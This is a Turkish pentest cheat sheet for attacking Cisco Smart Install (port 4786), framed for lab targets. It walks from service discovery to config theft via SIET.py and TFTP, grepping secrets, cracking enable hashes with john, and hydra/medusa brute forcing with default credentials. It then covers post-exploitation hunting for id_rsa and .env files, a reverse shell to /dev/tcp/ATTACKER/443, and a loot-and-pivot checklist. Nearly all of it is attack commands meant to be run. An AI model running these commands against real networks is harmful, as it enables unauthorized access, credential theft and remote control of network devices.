Skip to content

4786 - Cisco Smart Install

Smart Install cisco

Smart Install (4786) sıkça auth’suz config çekimine izin verir; TFTP ile confg sızıntısı klasiktir. Hedef lab IP’si üzerinde komutları 4786 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 4786 doğrula.

  2. SIA client ile konuş.

  3. Config dump (TFTP).

  4. Enable secret kır / credential loot.

Terminal window
nmap -Pn -sV -p4786 TARGET
Terminal window
python3 SIET.py -g -i TARGET
Terminal window
msfconsole -q -x 'use auxiliary/scanner/misc/cisco_smart_install; set RHOSTS TARGET; run; exit'
Terminal window
python3 SIET.py -c -i TARGET
Terminal window
tcpdump -ni any port 69 -w tftp.pcap
Terminal window
grep -iE 'secret|password|snmp' dumped.conf
Terminal window
john --wordlist=rockyou.txt enable.hash
SNMP community, TACACS keys, local users

Cisco Smart Install için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p4786 TARGET
Terminal window
nmap -Pn -p4786 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:4786' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',4786));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Cisco Smart Install
Terminal window
hydra -L users.txt -P rockyou.txt -s 4786 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 4786
Terminal window
nmap -p4786 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit Smart Install
Terminal window
msfconsole -q -x 'search Smart Install; exit'
Terminal window
nuclei -u https://TARGET:4786 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:4786 -tags tech -silent || true
Terminal window
nc -nv TARGET 4786
Terminal window
printf '
' | timeout 3 nc -nv TARGET 4786
Terminal window
curl -vk --http1.0 http://TARGET:4786/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
4786 open → SIET config → secrets → network pivot